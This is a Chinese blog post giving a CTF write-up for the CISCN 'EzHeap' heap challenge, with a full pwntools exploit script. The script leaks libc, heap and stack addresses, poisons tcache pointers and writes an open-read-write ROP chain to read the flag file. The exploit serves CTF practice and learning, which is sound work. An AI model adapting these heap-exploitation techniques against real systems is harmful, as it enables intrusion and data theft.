CISCN --EzHeap

当时有点着急了,这题没写出来,结束后在ctfshow上做了一下。

使用的方法是environ泄露栈地址,然后在栈上构造orw的rop链。

以下是过程:

只能orw。

堆体开沙盒模式会在heap和bin一开始构造很多垃圾堆。所以分配和free的时候要注意原本heap和bin中的情况 。

我观察了一下,在malloc_cosolidate后,最大的free_chunk是0x1a0,所以我采用0x200的chunk,这样就不会被影响。

不能uaf 

edit可以自定义大小 。

思路清晰了,将下一个0x420大小的chunk给free掉,这样fd段就是usbin地址,然后用edit将当前chunk和下一个chunk的size段和pre_size填满,然后show(),就能全都打印出来,就能泄露libc基址了。同时如果下一个chunk是tcachebin,也能用edit修改它的fd,或者泄露堆地址。

所以,整体就是:泄露libc基址--->计算出environ地址-->泄露堆地址--->覆盖fd-->分配到environ-0x200的位置-->泄露栈地址-->覆盖fd-->分配到栈上-->写入rop链

以下是exp:

from pwn import *
context.arch='amd64'
elf=ELF('./EzHeap')
libc=ELF('./libc.so.6')
#io=remote('node5.buuoj.cn',27949)
io=process('./EzHeap')
#io=remote('61.147.171.105',54043)
io=remote('pwn.challenge.ctf.show',28124)

def add(size,content):
    io.recvuntil(b"choice >> ")
    io.sendline(b'1')
    io.recvuntil(b"size:")
    io.sendline(str(size).encode())
    io.recvuntil(b"content:")
    io.send(content)

def delete(idx):
    io.recvuntil(b"choice >> ")
    io.sendline(b'2')
    io.recvuntil(b"idx:\n")
    io.sendline(str(idx).encode())

def show(idx):
    io.recvuntil(b"choice >> ")
    io.sendline(b'4')
    io.recvuntil(b"idx:")
    io.sendline(str(idx).encode())
    io.recvuntil(b"content:")

def edit(idx,size,content) :
    io.recvuntil(b"choice >> ")
    io.sendline(b'3')
    io.recvuntil(b"idx:")
    io.sendline(str(idx).encode())
    io.recvuntil(b"size:")
    io.sendline(str(size).encode())
    io.recvuntil(b"content:")
    io.send(content)


for i in range(8):
    add(0xe0,b'aa')
#gdb.attach(io)
#pause()
add(0x200,b'a')#8
add(0x410,b'a')#9
add(0x200,b'a')#10
#gdb.attach(io)
#pause()
delete(9)
edit(8,0x210,b'a'*0x20f+b'b')
show(8)
io.recvuntil(b'b')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x21ace0
print('libc_base:',hex(libc_base))
#gdb.attach(io)
#pause()
environ=libc_base+libc.sym['environ']
print('environ:',hex(environ))
edit(8,0x210,b'a'*0x200+p64(0)+p64(0x421))
add(0x410,b'a')#9
add(0x200,b'a')#11
add(0x200,b'a')#12
delete(12)
#gdb.attach(io)
#pause()
#leak heap addr
edit(11,0x210,b'a'*0x20f+b'b')
show(11)
io.recvuntil(b'b')
hee=u64(io.recv(5).ljust(8,b'\x00'))
heap_base=hee*0x1000
print('heap_base:',hex(heap_base))
#gdb.attach(io)
#pause()
my_addr=heap_base+0xd50
edit(11,0x210,b'a'*0x200+p64(0)+p64(0x211))
delete(11)
fake_fd=(heap_base>>12)^(environ-0x200)
edit(10,0x218,b'a'*0x200+p64(0)+p64(0x211)+p64(fake_fd))
add(0x200,b'a')#11
add(0x200,b'a'*0x1ff+b'b')#12
show(12)
io.recvuntil(b'b')
stack=u64(io.recv(6).ljust(8,b'\x00'))
print('stack:',hex(stack))
#gdb.attach(io)
#pause()
ret_addr=stack-0x170
print('ret_addr:',hex(ret_addr))
ret=libc_base+0x29139 
rax=libc_base+0x45eb0
rdi=libc_base+0x2a3e5
rsi=libc_base+0x2be51
rdx_rbx=libc_base+0x11f2e7
syscall=libc_base+0x91316
#gdb.attach(io)
#pause()
add(0x200,b'a')#13
add(0x200,b'a')#14
add(0x200,b'a')#15
delete(15)
delete(14)
heap_base+=0x1000
fake_fd=(heap_base>>12)^(ret_addr-0x8)
edit(13,0x218,b'a'*0x200+p64(0)+p64(0x211)+p64(fake_fd))
#gdb.attach(io)
#pause()
add(0x200,b'a')
#gdb.attach(io)
#pause()
payload=p64(0)+p64(rax)+p64(2)+p64(rdi)+p64(ret_addr+0xd8)+p64(rsi)+p64(0)+p64(syscall)+p64(rax)+p64(0)+p64(rdi)
payload+=p64(3)+p64(rsi)+p64(ret_addr+0x100)+p64(rdx_rbx)+p64(0x100)+p64(0)+p64(syscall)
payload+=p64(rax)+p64(1)+p64(rdi)+p64(1)+p64(rsi)+p64(ret_addr+0x100)+p64(rdx_rbx)+p64(0x100)+p64(0)+p64(syscall)+b'/ctfshow_flag\x00'
add(0x200,payload)
io.interactive()

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值